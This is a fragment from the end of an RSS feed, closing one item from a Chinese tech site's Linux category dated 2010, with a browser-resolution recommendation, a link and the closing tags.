建议您使用IE浏览器800×600<br><br>]]></description>
			<link>http://eaxi.com/tech/show-10342-1.html</link>
			<category domain="http://eaxi.com/tech/category-1-1.html">Linux</category>
			<pubDate>2010-07-29 17:40</pubDate>
		</item>
	</channel>
</rss>
